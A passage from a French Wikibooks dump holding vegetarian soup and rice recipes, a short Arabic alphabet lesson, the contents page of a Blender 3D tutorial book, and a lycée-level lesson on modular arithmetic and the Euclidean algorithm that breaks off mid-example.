pain en petits morceaux. * Dans un ravier séparé, réserver pour la garniture la valeur d'un demi-concombre, le tiers de chaque poivron, et les petits oignons. * Mixer les autres ingrédients en versant une cuillerée d'huile afin d'obtenir une purée ni trop liquide ni trop épaisse. Saler, poivrer, ajouter les herbes et mettre au réfrigérateur pendant au moins 3 h. * '''Présentation''' : coupez en lanières les ingrédients réservés et présentez-les pour agrémenter le gaspacho. Le gaspacho se sert traditionnellement dans les bols. Veillez surtout à ce qu'il soit bien frais. Arabe/Lecture arabe 3635 18139 2005-07-30T17:37:20Z 213.228.0.86 Traduction de la page anglaise L'arabe est lu de droite à gauche, à coté de cet aspect un peu inhabituel, vous serez surpris de votre rapidité d'apprentissage pour le lire. <table border="1" cellspacing="0" cellpadding="4"> <caption>'''Les lettres arabes qui sonnent <BR> comme le français :'''</caption> <tr> <td>Lettre</td> <td valign="top">Nom<br> </td> <td>sonne</td> <td>comme dans</td> </tr> <tr> <td>أ</td> <td>Alif</td> <td>a</td> <td>p'''a'''tte</td> </tr> <tr> <td>ب</td> <td>Ba</td> <td>b</td> <td>'''b'''anane</td> </tr> <tr> <td>ت</td> <td>ta</td> <td>t</td> <td>'''t'''able</td> </tr> <tr> <td>ج</td> <td>Jeem</td> <td>dj</td> <td>'''dj'''ébel</td> </tr> <tr> <td>ن</td> <td>Noun</td> <td>N</td> <td>'''N'''om</td> </tr> <tr> <td>و</td> <td>waw</td> <td>Ou</td> <td>'''Ou'''est</td> </tr> <tr> <td>ل</td> <td>Lam</td> <td>L</td> <td>'''L'''eçon</td> </tr> </table> Maintenant, essayons ces mots : باب اب (ab) = Père (bab) = Porte Exemple de phrase : saha choukran sahtek selam hobs [[Media:Exemple.ogg]] Cuisine:Soupe paysanne 3636 15131 2005-05-19T17:33:03Z Sarvok 270 ==Préparation== * 1 oignon haché * 1 grosse pomme de terre découpée en dés * 1,4L de [[Cuisine:Bouillon de légumes|Bouillon de légumes]] * 125g de haricots verts coupés en morceaux * 1 petit chou émincé * 1 carotte râpée * 1 céleri découpé en morceau * 0,5 poivron rouge doux haché * 500g de haricots rouges cuits, rincés et égouttés * 250g d’épinards en feuilles * sel et poivre. ==Ingrédients== * Dans un gros chaudron, mélanger l'oignon, la pomme de terre et le bouillon. Mijoter 10 min. Ajouter le céleri, les haricots verts, le chou, la carotte, le poivron, le sel et le poivre. Mijoter 10 min. Ajouter les haricots rouges et les épinards. Mijoter. Cuisine:Soupe à la tomate 3637 15132 2005-05-19T17:34:07Z Sarvok 270 ==Ingrédients== * 400g de tomates fraîches * 0,75L d’eau * 4 pommes de terres cuite à la vapeur * 1 branche de céleri * persil, ail. ==Préparation== * Couper les tomates en dés. Mettez-les à cuire dans l’eau avec le céleri et l’ail pendant 4 ou 5 min. Passer au mixer avec les pommes de terres. * Assaisonner. Cuisine:Soupe aux courgettes et aux tomates 3638 15133 2005-05-19T17:35:11Z Sarvok 270 ==Ingrédients== * 1 grosse courgette en dés * 3 tomates en dés * 1 oignon haché * 1 gousse d’ail hachée * [[Cuisine:Bouillon de légumes|Bouillon de légumes]] * thym, sel, poivre, huile d’arachide. ==Préparation== * Faire rissoler l’oignon dans l’huile. Ajouter la courgette et les tomates en dés. Verser le bouillon de légumes et l’ail écrasé. Assaisonner abondamment. Porter à ébullition dans l’autocuiseur puis laisser cuire à feu doux 30 min. Cuisine:Velouté de légumes variés 3639 15134 2005-05-19T17:36:50Z Sarvok 270 ==Ingrédients== * le plus de légume possible * huile ==Préparation== * On met de l'huile dans une grande casserole et on y fait revenir tous les légumes qu’on dispose. * ''On peut essayer de les sélectionner pour avoir une couleur ou un goût particulier, mais tous les mélanges sont bons. Il Faut essayer de toujours avoir au moins un légume qui donne de l'épaisseur, comme la carotte ou la patate. On peut s'amuser à y mettre des herbes, des aromates, des épices,...'' * On couvre bien d'eau et on laisse cuire au moins 15 min. Quand la cuisson est suffisante, il n'y a plus qu'à mixer avec l'ustensile approprié. * A servir avec des herbes fraîches hachées, du citron, de l'huile d'olive,... accompagné d'une bonne tranche de pain. Cuisine:Riz parfumé aux herbes 3640 18522 2005-08-05T07:41:32Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 50cL d’eau * 1 oignon émincé * 8 branches de cerfeuil * 3 branches de basilic * 4 branches de coriandre & 3 branches de coriandre ciselées * ratatouille (facultatif) * 2 cuillères à soupe d’huile d’olive * Sel, poivre ==Préparation== * Verser l’eau dans une casserole. Ajouter les branches de coriandre et porter à ébullition. Dès les premiers bouillons, retirer du feu et mixer. * Dans une sauteuse, faire revenir un oignon émincé dans l’huile d’olive, ajouter le riz en remuant. Lorsque les grains changent de couleur, verser le mélange mixé. Couvrir, baisser le feu et poursuivre la cuisson jusqu’à ce que le riz ait absorbé tout le liquide. Compter 15 min environ. Saler, poivrer et ajouter les branches de cerfeuil, de basilic et de coriandre ciselées. * Mélanger et servir aussitôt avec de la ratatouille. Cuisine:Riz Rouge 3641 18521 2005-08-05T07:41:27Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 500g de riz lavé * 2 cuillères à soupe de concentré de tomates * 1 petit oignon, haché finement * 100g de champignons, coupés en lamelles * 1L de [[Cuisine:Bouillon de légumes|Bouillon de légumes]] * Sel, poivre * 1 cuillère à thé de paprika * 0,25 cuillère à thé de chili ou poivre de Cayenne * 3 cuillères à soupe d'huile de tournesol ==Préparation== * Chauffer l'huile dans une casserole. Ajouter l'oignon et les champignons. Faire sauter pendant 2 min. Ajouter le riz, les épices et mélanger bien. Ajouter le bouillon de légumes et faire bouillir en remuant. Couvrir et laisser mijoter 20 min, jusqu'à ce que le riz ait absorbé le liquide. Cuisine:Riz aux noix de Cajou 3642 18520 2005-08-05T07:41:19Z Sarvok 270 ajout du mdel cuizine {{Livre de cuisine}} ==Ingrédients== * 500g de riz cuit * 100g de noix de Cajou * 1 oignon * 1 grosse pomme rouge * 3 branches de céleri * 1 cuillère à soupe d'huile de tournesol * Sel et poivre. ==Préparation== * Coupez l'oignon, la pomme et le céleri en menus morceaux. Faites-les revenir dans la poêle huilée. Ajoutez trois cuillères à soupe d'eau et laissez mijoter 10 min. * Ajoutez le riz. Mélangez tous les ingrédients. Cuisine:Riz à la sauce avocat 3643 18519 2005-08-05T07:41:02Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 1 oignon haché * 60g de lentilles corail * 140g de riz blanc * 400mL d’eau * 0,5 cuillères à thé de curry * 0,5 cuillères à thé de graines de nigelle (facultatif) * 1 cuillère à soupe d’huile d’arachide * Sel, poivre '''Sauce''' * La chair d’un avocat * 0,5 cuillère à thé de moutarde * 0,5 cuillère à soupe d’huile d’arachide * poivre, jus de citron ==Préparation== * Rissoler l’oignon dans l’huile avec le curry et les graines ; ajouter les lentilles, le riz et l’eau, porter à ébullition et laisser mijoter 20 min. * Laisser refroidir * Former des petites boulettes, bien tassées. Ecraser la chair de l’avocat, ajouter les autres ingrédients. * Servir aussitôt. Blender3D 3644 46479 2006-06-29T12:02:04Z E-toon 1689 /* Liens utiles (très utiles...) */ '''Blender : La modélisation 3D libre''' [[Image:Blender 2.36 Screenshot.jpg|300px|thumbnail|right|Capture d'écran de Blender 2.36]] Ce livre est une compilation de didacticiels du logiciel [[Wikipedia:open source|open source]] de création 3D '''[http://fr.wikipedia.org/wiki/Blender Blender]'''. Pour accéder à la traduction officielle du manuel : [http://blender.doc.fr.free.fr Manuel de Blender]. Traduction du wikibook anglais : [http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro Blender : Noob to pro] == Contenus == {{ÉtatDesWikilivres}} == Liens utiles (très utiles...) == Manuel français officiel Blender wikimédia -> http://mediawiki.blender.org/index.php/Manual.fr/Manuel ===[[Blender 3D: du débutant au pro/Didacticiels débutants|Didacticiels débutants]] [[image:75%.png]]=== *[[Blender 3D: du débutant au pro/Didacticiel de syntaxe|Syntaxe du didacticiel]] [[image:75%.png]] *[[Blender 3D: du débutant au pro/Interface de Blender|Devenir familier avec l'interface de Blender]] [[image:75%.png]] **[[Blender 3D: du débutant au pro/Système de fenêtres de Blender|Apprendre le système de fenêtre de Blender]] [[image:75%.png]] **[[Blender 3D: du débutant au pro/La fenêtre de boutons|La fenêtre de boutons]] [[image:75%.png]] **[[Blender 3D: du débutant au pro/La fenêtre de vue 3D|La fenêtre de vue 3D]] [[image:75%.png]] **[[Blender 3D: du débutant au pro/Autres fenêtres|Les autres fenêtres]] [[image:75%.png]] *[[Blender 3D: du débutant au pro/Apprendre à modeler|Apprendre à modeler]] [[image:75%.png]] **[[Blender 3D: du débutant au pro/Modèle rapide|Modèle rapide]] [[image:75%.png]] **[[Blender 3D: du débutant au pro/Rendu rapide|Rendu rapide]] [[image:75%.png]] **[[Blender 3D: du débutant au pro/Modélisation maillée|Modélisation maillée]] [[image:75%.png]] ***[[Blender 3D: du débutant au pro/Modéliser un personnage simple|Modéliser un personnage simple]] [[image:75%.png]] ***[[Blender 3D: du débutant au pro/Détailler votre personnage simple 1|Détailler votre personnage simple I]] [[image:75%.png]] ***[[Blender 3D: du débutant au pro/Détailler votre personnage simple 2|Détailler votre personnage simple II]] [[image:75%.png]] ***[[Blender 3D: du débutant au pro/Créer un chapeau simple|Créer un chapeau simple]] [[image:75%.png]] ***[[Blender 3D: du débutant au pro/Placer le chapeau sur le personnage|Placer le chapeau sur le personnage]] [[image:75%.png]] ***[[Blender 3D: du débutant au pro/Montagnes de Molehills|Montagnes de Molehills]] [[image:25%.png]] ***[[Blender 3D: du débutant au pro/Convertir un cube en chiot|Convertir un cube en chiot]] [[image:25%.png]] ***[[Blender 3D: du débutant au pro/Modéliser un bonhomme en pain d'épice|Modéliser un bonhomme en pain d'épice]] [[image:50%.png]] ***[[Blender_3D: raccourcis claviers/Vue 3D/Mode Edition|Revue des raccourcis clavier du mode édition]] [[image: 25%.png]] ***[[Blender_3D:_raccourcis claviers/Vue 3D/Mode Objets|Revue des raccourcis clavier du mode objets]] [[image: 25%.png]] **[[Blender 3D: du débutant au pro/Modélisation par courbe et chemin|Modélisation par courbe et chemin]] [[image:75%.png]] ***[[Blender 3D: du débutant au pro/Image (logo) 2D vers un modèle 3D|Image (logo) 2D vers un modèle 3D]] [[image:50%.png]] ***[[Blender 3D: du débutant au pro/Véhicule simple|Véhicule simple]] [[image:00%.png]] ***[[Blender 3D: du débutant au pro/Modéliser une image|Modéliser une image]] [[image: 50%.png]] ***[[Blender 3D: du débutant au pro/Os|Utiliser les os]] [[image:00%.png]] **[[Blender 3D: du débutant au pro/Matériaux et textures|Matériaux et textures]] [[image:75%.png]] ***[[Blender 3D: du débutant au pro/Matériau rapide|Matériau rapide]] [[image:50%.png]] ***[[Blender 3D: du débutant au pro/Texture rapide|Texture rapide]] [[image:50%.png]] ***[[Blender 3D: du débutant au pro/Textures procédurales|Textures procédurales]] [[image:00%.png]] ****[[Blender 3D: du débutant au pro/Créer de l'eau de mer basique|Créer de l'eau de mer basique]] [[image:25%.png]] ****[[Blender 3D: du débutant au pro/Texturer de l'eau de mer basique|Texturer de l'eau de mer basique]] [[image:25%.png]] ****[[Blender 3D: du débutant au pro/Montagnes de Molehills 2|Montagnes de Molehills 2]] [[image:00%.png]] ***[[Blender 3D: du débutant au pro/Textures d'image|Textures d'image]] [[image:00%.png]] ****[[Blender 3D: du débutant au pro/La balle rouillée|La balle rouillée]] [[image:50%.png]] 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(mouvement) dans les animations * [[Blender 3D: du débutant au pro/Yafray|Yafray]] ===[[Blender 3D: du débutant au pro/Didacticiels avancés|Didacticiels avancés]]=== * [[Blender 3D: du débutant au pro/Ecrire des scripts Python|Ecrire des scripts Python]] **[[Blender 3D: du débutant au pro/Didacticiels avancés/Ecrire des scripts Python/Introduction|Introduction]] [[image:00%.png]] **[[Blender 3D: du débutant au pro/Didacticiels avancés/Ecrire des scripts Python/Exporter des scripts|Exporter des scripts]] [[image:25%.png]] **[[Blender 3D: du débutant au pro/Didacticiels avancés/Ecrire des scripts Python/Création d'objets procéduraux|Création d'objets procéduraux]] [[image:00%.png]] **[[Blender 3D: du débutant au pro/Didacticiels avancés/Ecrire des scripts Python/Scripts pour modifier des maillages|Scripts pour modifier des maillages]] [[image:00%.png]] **[[Blender 3D: du débutant au pro/Didacticiels avancés/Ecrire des scripts Python/Créer une GUI pour votre script|Créer une GUI pour votre script]] [[image:00%.png]] ===[[Blender 3D: du débutant au pro/Didacticiels divers|Didacticiels divers]]=== *[[Blender 3D: Liste de liens de didacticiels|Tous les liens vers les didacticiels]] - Didacticiels partout sur le Web *[[Blender 3D: du débutant au pro/Matériau pour peluche|Manière de créer un effet de "peluche" (matériaux et lumières)]] (en construction) *[[Blender 3D: Dérangements|Dérangements]] - Diverses pannes techniques et que faire avec elles ==Introduction== Ce livre est une série de didacticiels organisés en suite pour aider un débutant à devenir un "expert" avec Blender. Les didacticiels essayent d'augmenter la difficulté le long du chemin d'apprentissage que l'utilisateur prendra, ainsi, les utilisateurs déjà familiers avec Blender peuvent sauter les didacticiels plus simples et continuer le long de la série. Bien qu'il existe beaucoup de chemins d'apprentissage, nous avons fait un effort pour contenter tout le monde. '''La progression des didacticiels doit être suivie.''' Les débutants avec Blender ne doivent pas passer les didacticiels et espérer être capable d'accomplir quelque chose parceque les suivants reprennent ce qui a été vu précédemment. Nous vous souhaitons bonne chance ! === Version === La version distribuée actuelle (''2006-03-31'') de la suite Blender 3D est la 2.41. Blender est disponible sous forme exécutable pré-compilée pour Windows, Macintosh, Linux (i386 et PPC), Solaris, Irix, et FreeBSD. Comme Blender est un projet [[wikipedia:open source|open source]], il peut être compilé pour d'autres plateformes. Vérifiez la versions actuelle ici : [http://www.blender.org/modules.php?op=modload&name=phpBB2&file=viewforum&f=18]pour les distributions les plus récentes et pour les informations d'installation. Les informations de ce Wikilivre devraient refléter la version la plus actuelle tout le temps. Néanmoins, vu la complexité d'une telle tâche, les utilisateurs comme vous comme les auteurs sont encouragés à faire des mises à jour lorsque les informations deviennent dépassées et à préciser la version à partir de laquelle la documentation à été réalisée ! === Contribuer à ce livre === Si vous voulez contribuer à ce livre, vous êtes fortement sollicité pour le faire ! Il y a deux choses à faire : ''(Note pour les utilisateurs de [http://www.mozilla.org/products/firefox/ Firefox] : il existe une [http://wikipedia.mozdev.org/ barre d'outils très utile] simplement pour éditer les pages wiki (en anglais))''. ==== Editer une page ==== En cliquant simplement sur "modifier" ci-dessus, vous éditerez cette page ! Votre contribution sera immédiatement visible, mais peut être aussi rapidement enlevée, donc utiliser ces pages pour mettre un lien vers votre site porno favoris est une perte de temps et d'énergie, puisque les ajouts offensants seront rapidement enlevés. Vous pouvez aussi poser des questions et faire des commentaires sur chaque page en cliquant sur l'onglet "discussion" ci-dessus. ==== Ajouter une page ==== Si vous désirez ajouter une page au livre, une nouvelle page de didacticiel par exemple, créez un lien dans la section [[#Contenus|Contenus]] de cette longue page. Puis, avec ce lien actif (en rouge), cliquez sur lui pour faire apparaître une nouvelle page portant le titre, vous serez capable d'insérer un nouveau contenu. Si vous placez un didacticiel et que vous ne savez pas dans quelle catégorie le placer, mettez-le dans la section Divers pour l'instant, nous l'adapterons et le placerons au bon endroit. Pour savoir comment nommer vos pages correctement, [[Blender 3D: du débutant au pro/Nav Demo Page 2|cliquer ici]]. Pour maintenir une navigation aisée à travers ce livre, assurez-vous de créer des liens dans les pages précédentes et suivantes, en utilisant le format que vous avez vu [[Blender 3D: du débutant au pro/Nav Demo Page 2|ici]]. Assuez-vous aussi de mettre à jour la page précédente et suivante avec des liens vers votre nouvelle page. Vous pouvez passer cette étape si vous ne pensez pas que votre page restera à cette place. Nous aimerions remercier la Blender Foundation et la communauté Blender pour ce logiciel génial. [[ca:Blender 3D: novell a professional]] [[de:Blender_Dokumentation]] [[en:Blender_3D:_Noob_to_Pro]] [[es:Blender 3D: novato a profesional]] [[it:Blender_3D:_Noob_to_Pro]] AL Arithmétique modulaire 3646 15141 2005-05-25T20:14:33Z Jim2k 289 [[Approfondissements de lycée]] ==Arithmétique modulaire== ===Introduction=== L'[[w:arithmétique modulaire|arithmétique modulaire]] est reliée aux nombres premiers d'une manière agréable. Démarrons avec l'arithmétique modulo 7, c'est simplement comme l'arithmétique ordinaire excepté que l'on utilise seulement les nombres 0, 1, 2, 3, 4, 5 et 6. Si nous tombons sur un nombre en dehors de cet intervalle, nous lui ajoutons 7 (ou lui soustrayons 7), jusqu'à ce qu'il soit compris dans cet intervalle. '''Exemples''' :<math> \begin{matrix} 3 + 2 = 5 \mod{7}\\ \\ 5 + 6 = 11 = 4 \mod{7}\\ \\ 5 - 6 = - 1 = 6 \mod{7}\\ \end{matrix} </math> Même chose pour la multiplication :<math> \begin{matrix} 3 \times 5 = 15 = 1 \mod{7}\\ \\ 5 \times - 6 = - 30 = 5 \mod{7}\\ \end{matrix} </math> '''Note - Négatifs''' : La représentation préférée de - 3 est 4, puisque - 3 + 7 = 4. ====Exercices==== Trouver en modulo 11 1. :-1 x -5 2. :3 x 7 3. :2<sup>1</sup> :2<sup>2</sup> :2<sup>3</sup> :2<sup>4</sup> :2<sup>5</sup> :2<sup>6</sup> :2<sup>7</sup> :2<sup>8</sup> :2<sup>9</sup> :2<sup>10</sup> Que remarquez-vous ? En utilisant les puissances de 2 trouver : :6<sup>1</sup> :6<sup>2</sup> :6<sup>3</sup> :6<sup>4</sup> :6<sup>5</sup> :6<sup>6</sup> :6<sup>7</sup> :6<sup>8</sup> :6<sup>9</sup> :6<sup>10</sup> Que remarquez-vous de nouveau ? 4. :<math>\sqrt{4} </math> i.e. trouver tous les nombres x mod 11 tels que x<sup>2</sup> = 4. Il y a deux solutions, les trouver toutes deux. 5. :<math>\sqrt{-2} </math> i.e. trouver tous les nombres x mod 11 tels que x<sup>2</sup> = -2. Il y a deux solutions, les trouver toutes deux. ===Division et inverses=== En restant en modulo 7, considérons le mécanisme de la division : Qu'est-ce que :<math>\frac{1}{5}</math>? L'algèbre peut nous aider à comprendre : :<math> \begin{matrix} x &=& \frac{1}{5}\\ 5\times x &=& 1 \end{matrix} </math> Nous recherchons un nombre ''x'', tel que ''x'' x 5 = 1 modulo 7. ''x'' = 3 est une solution. '''Example''' :<math> \begin{matrix} x &=& \frac{3}{5}\\ &=& 3\times \frac{1}{5}\\ &=& 3\times 3\\ &=& 2 \end{matrix} </math> Il est intéressant de noter que lorsque nous ''divisions'', nous recherchions réellement un nombre qui lorsqu'il est multiplié par le dénominateur donnera 1. Actuellement, la manière correcte de dire ce que nous faisons est de trouver les ''inverses''. Mais aucun tort ne nous arrivera si nous y pensons en terme de division. Considérons l'exemple suivant : :<math>\frac{6}{2} \ \ \mbox{(mod 7)}</math> Si nous traitons cela comme une ''division'', nous obtenons 3. Ou nous pouvons le faire avec la manière des ''inverses''. :<math>\frac{6}{2} = 6 \cdot 4 = 24 = 3 \pmod{7}</math> nous obtenons encore la même réponse. Intéressant ! Il est aussi intéressant de noter que la division ne marche pas toujours. Considérons : :<math>\frac{14}{7} \ \ \mbox{(mod 28)}</math> Par la méthode des divisions, la réponse est 2. Mais 7 n'a pas d'inverse mod 28. Donc, nous ne pouvons pas dire 14/7 = 2. C'est un problème majeur avec la division en arithmétique mod ''n'', elle marche dans certains cas mais échoue complètement dans d'autres. Il est plus sûr de ne pas tenir compte de la division. A partir de maintenant, nous utiliserons ''x<sup>-1</sup>'' pour désigner l'inverse de ''x'' s'il existe. Le problème ci-dessus devient : :<math>14 \cdot 7^{-1} \ \ \mbox{(mod 28)}</math> qui n'a pas de solution puisque 7<sup>-1</sup> n'existe pas. Notez que 0 n'a pas d'inverse (''Pourquoi pensez-vous que cela doit se produire ?'') et évidemment, l'inverse de 1 est 1, mais 1 a-t'il un autre inverse ? Vous direz probablement 'non' après un moment. En fait, dans tout système de nombre raisonnable, un nombre ne peut avoir qu'un et un seul inverse. En voici la démonstration : <blockquote style="padding: 1em; border: 2px dotted purple;"> Supposons que ''a'' possède les inverses ''b'' et ''c'' :<math> b = b \times 1 = b (ac) = (ba)c = 1 \times c = c </math> A partir de l'argument ci-dessus, tous les inverses de ''a'' doivent être égaux. Ainsi, si le nombre ''a'' possède un inverse, il doit avoir un seul inverse. </blockquote> Une autre propriété intéressante de l'arithmétique modulo ''n'' est que le nombre ''n-1'' possède lui-même comme inverse. C'est à dire, (n-1) x (n-1) = 1 (mod ''n''). La démonstration est laissée comme exercice à la fin de la section. ====Existence d'un inverse==== Il peut sembler curieux pour vous que nous avons seulement considéré l'arithmétique modulaire d'un nombre premier; il existe une raions pour cela. Et nous allons voir celle-ci maintenant. Considérons l'arithmétique modulo 15 et notons que 15 est composé. Nous savons que l'inverse de 1 est 1 et celui de 14 est 14. Mais qu'en est-t'il de 3, 6, 9, 12, 5 et 10 ? Aucun d'entre eux ne possède d'inverse ! Et remarquez que chacun d'entre eux partage un facteur commun avec 15 ! Peut-être êtes-vous pas encore assez convaincu que cela est vrai et qu'il est bon d'être suspicieux lorsqu'un étudie les mathématiques. Mais éloignez votre doute puisque la démonstration est juste après. Considérons 3. Supposons que 3 possède un inverse, qui est noté par x. :<math> 3x = 1 \ \mbox{(mod 15)} </math> Le point délicat est de faire le ''saut'' de l'arithmétique modulaire vers l'arithmétique des nombres rationnels. Si 3x = 1 en arithmétique modulo 15, alors :<math> 3x = 15k + 1\, </math> pour un certain ''k'' en arithmétique des nombres rationnels. :<math> \begin{matrix} 3x &=& 15k + 1 \\ x &= & 5k + \frac{1}{3}\\ \end{matrix} </math> Mais ceci est faux, parceque nous savons que ''x'' est un nombre entier. Par conséquent 3 n'a pas d'inverse en arithmétique mod 15. Montrer que 10 n'a pas d'inverse est plus difficile est est laissé en exercice. Nous établierons le théorème montrant l'existence des inverses en arithmétique modulaire sans sa démonstration, puisque celle-ci est difficile. '''Théorème''' :Si ''n'' est un nombre premier alors chaque nombre (excepté 0) possède un inverse en arithmétique modulo ''n''. De manière similaire :Si ''n'' est composé alors chaque nombre qui ne partage pas de facteur commun avec ''n'' possède un inverse. ====Exercice==== 1. Trouver x mod 7 si x existe : :<math>x = 2^{-1}</math> :<math>x = 3^{-1}</math> :<math>x = 4^{-1}</math> :<math>x = 5^{-1}</math> :<math>x = 6^{-1}</math> :<math>x = 7^{-1}</math> 2. Calculer x de deux manières : "division" et par la "recherche d'inverse". :<math>x = 28\cdot 7^{-1} \ \ \mbox{(mod 29)}</math> 3. Trouver x :<math>x = 5^{99} \times (40 + 3^{-1}) \ \pmod{11}</math> 4. Trouver tous les inverses mod n (<math>n \le 19\,</math>)<br/> ''Cet exercice peut sembler fastidieux, mais il décuplera votre compréhension de la rubrique'' ===Nombres premiers entre eux et Plus Grand Diviseur Commun (PGDC)=== Deux nombre sont dits ''premiers entre eux'' si leur plus grand diviseur commun est 1. Le plus grand diviseur commun (pgdc) est simplement ce que son nom indique. Et il existe un manière rapide et élégante de le calculer pour deux nombres donnés, appelé l''''Algorithme d'Euclide'''. Illustrons-le avec quelques exemples : '''Exemple 1 :'''<br/> :Trouver le PGDC de 21 et 49. Nous formons un tableau à deux colonnes où le plus grand des deux nombres est sur la droite comme ce qui suit <table border="1" cellpadding="2"> <tr> <th>plus petit</th> <th>plus grand</th> </tr> <tr> <td>21</td> <td>49</td> </tr> </table> Nous calculons maintenant 49 (mod 21) qui est 7 et nous le plaçons dans la deuxième ligne de la colonne ''plus petit'', et nous plaçons 21 dans la colonne ''plus grand''. <table border="1" cellpadding="2"> <tr> <th>plus petit</th> <th>plus grand</th> </tr> <tr> <td>21</td> <td>49</td> </tr> <tr> <td>7</td> <td>21</td> </tr> </table> Exécutons la même action sur la deuxième ligne pour produire la troisième ligne. <table border="1" cellpadding="2"> <tr> <th>plus petit</th> <th>plus grand</th> </tr> <tr> <td>21</td> <td>49</td> </tr> <tr> <td>7</td> <td>21</td> </tr> <tr> <td>0</td> <td>'''7'''</td> </tr> </table> Quand nous voyons apparaître le nombre 0 dans la colonne ''plus petit'', nous savons alors que le nombre correspondant dans la colonne d'à coté est le PGDC des deux nombres avec lesquels nous avons démarré, i.e. 7 est le PGDC de 21 et 49. Cet ''algorithme'' est appelé l'algorithme d'Euclide. '''Exemple 2''' :Trouver le PGDC de 31 et 101 <table border="1" cellpadding="2"> <tr> <th>plus petit</th> <th>plus grand</th> </tr> <tr> <td>31</td> <td>101</td> </tr> <tr> <td>8</td> <td>31</td> </tr> <tr> <td>7</td> <td>8</td> </tr> <tr> <td>1</td> <td>7</td> </tr> <tr> <td>0</td> <td>'''1'''</td> </tr> </table> '''Exemple 3''' :Trouver le PGDC de 132 et 200 <table border="1" cellpadding="2"> <tr> <th>plus petit</th> <th>plus grand</th> </tr> <tr> <td>132</td> <td>200</td> </tr> <tr> <td>68</td> <td>132</td> </tr> <tr> <td>64</td> <td>68</td> </tr> <tr> <td>4</td> <td>64</td> </tr> <tr> <td>0</td> <td>'''4'''</td> </tr> </table> '''Souvenez-vous''' # Le PGDC n'a pas besoin d'être un nombre premier. # Le PGDC de deux nombres premiers est 1. Vous ne savez peut-être pas pourquoi l'algorithme marche, mais il semble marcher. Vous ne pouvez pas résister à la question : "Pourquoi marche-t'il ?". Comme le dirais Arnold Ross, "C'est au demandeur de le découvrir, pas à moi de le dire." ====Personnalité — Arnold Ross==== <blockquote style="padding: 1em; border: 2px dotted purple;"> Arnold Ross est un professeur très respecté et un théoricien des nombres qui est très célèbre pour ses programmes scolaires d'été mathématiques pour les lycéens talentueux aux USA et en Australie.<br/> * http://www.ams.org/notices/200107/fea-ross.pdf </blockquote> ====Exercice==== 1. Déterminer quand les ensembles de nombres suivants sont premiers entre eux :# 5050 5051 :# 59 78 :# 111 369 :# 2021 4032 2. Trouver le PGDC des nombres 15, 510 et 375 ====Info — Algorithme==== <blockquote style="padding: 1em; border: 2px dotted purple;"> Un algorithme est une description pas à pas d'une série d'actions qui faites correctement peuvent accomplir une tâche. Il existe des algorithmes pour trouver des nombres premiers, décider si 2 nombres sont premiers entre eux, trouver des inverses et beaucoup d'autres usages.<br/> Vous apprendrez comment implémenter certains de ces algorithmes que nous avons vus en utilisant un ordinateur deans le chapitre [[AL Programmation mathématique|Programmation mathématique]]. </blockquote> ===Équations diophantiennes=== Jetons de nouveau un coup d'œil à l'idée d'inverse, mais sous un angle différent. Considérons :<br/> :<math>5x = 1\,</math><br/> Nous savons que ''x'' est l'inverse de 5 et nous pouvons trouver que c'est 3 rapidement. Mais x = 10 est aussi une solution, donc x = 17, 24, 31, ... 7n + 3. Ainsi, il existe une infinité de solutions; par conséquent, nous disons que 3 est congru à 10, 17, 24, 31 et ainsi de suite. C'est une observation cruciale. Maintenant, considérons<br/> :<math>216x \equiv 1 \ \ \mod {811}</math> Une nouvelle notation est introduite ici, c'est le signe égal avec trois traits au lieu de deux. C'est le signe "congru à"; le résultat ci-dessus devrait être lu "216''x'' est CONGRU à 1" à la place de "216''x'' est EGAL à 1". A partir de maintenant, nous utiliserons le signe congru à pour l'arithmétique modulaire et le signe égal pour l'arithmétique ordinaire. Pour revenir à l'exemple, nous savons que ''x'' existe, comme PGDC(811,216) = 1. Le problème avec la question ci-dessus est qu'il n'existe pas de manière rapide de décider la valeur de ''x'' ! La meilleure méthode que nous connaissons est de multiplier 216 par 1, 2, 3, 4... jusqu'à ce que nous obtenions la réponse, il existe au plus 816 calculs, manière trop fastidieuse pour les humains. Mais il existe une meilleure manière, et nous l'avons approchée quelques fois ! Nous notons que nous pouvions faire le ''saut'' juste avant vers les mathématiques rationnelles : :<math> \begin{matrix} 216a & = & 1 + 811b\\ 0 & \equiv & 1 + 163b &\pmod{216}\\ \end{matrix} </math> Nous sautons vers les mathématiques rationnelles de nouveau :<math> \begin{matrix} 216c &=& 1 + 163b \\ 53c &\equiv& 1 &\pmod{163}\\ \end{matrix} </math> Nous sautons une fois encore :<math> \begin{matrix} 53c &=& 1 + 163d \\ 0 &\equiv& 1 + 4d&\pmod{53}\\ \end{matrix} </math> Maintenant, le motif est clair, nous démarrerons à partir du début ainsi le processus ne sera pas interrompu : :<math> \begin{matrix} 216a & = & 1 + 811b\\ 216c &=& 1 + 163b \\ 53c &=& 1 + 163d \\ 53e &=& 1 + 4d \\ e &=& 1 + 4f \\ \end{matrix} </math> Maintenant, tout ce que nous avons à faire est de choisir une valeur pour ''f'' et la substituer en retour pour trouver ''a'' ! Souvenez-vous que ''a'' est l'inverse de 216 mod 811. Nous choisissons f = 0, par conséquent e = 1, d = 13, c = 40, b = 53 et finalement a = 199 ! Si nous choisissons 1 pour ''f'', nous obtiendrons une valeur différente pour ''a''. Un lecteur très perspicace aura noté que ceci est l'algorithme d'Euclide à l'envers. Voici quelques exemples de plus de cette méthode ingénieuse en action : '''Exemple 1''' Trouver la plus petite valeur positive de ''a'' : :<math> \begin{matrix} 33a & \equiv & 1 \ \ \mbox{(mod 101)}\\ 33a &=& 1 + 101b\\ 33c &=& 1 + 2b\\ c &=& 1 + 2d\\ \end{matrix} </math> Choisissons d = 0, par conséquent a = 49. '''Exemple 2''' Trouver la plus petite valeur positive de ''a'' : :<math> \begin{matrix} 27a & \equiv & 1 \ \ \mbox{(mod 821)}\\ 27a &=& 1 + 821b\\ 27c &=& 1 + 11b\\ 5c &=& 1 + 11d\\ 5e &=& 1 + d\\ \end{matrix} </math> Choisissons e = 0, par conséquent a = -152 = 669 '''Exemple 3''' Trouver la plus petite valeur positive de ''a'' : :<math> \begin{matrix} 34a & \equiv & 1 \ \ \mbox{(mod 55)}\\ 34a &=& 1 + 55b\\ 34c &=& 1+ 21b\\ 13c& =& 1 + 21d\\ 13e& =& 1 + 8d\\ 5e &=& 1 + 8f\\ 5g& = &1 + 3f\\ 2g& =& 1 + 3h\\ 2i& = &1 + h\\ \end{matrix} </math> Fixons i = 0, alors a = 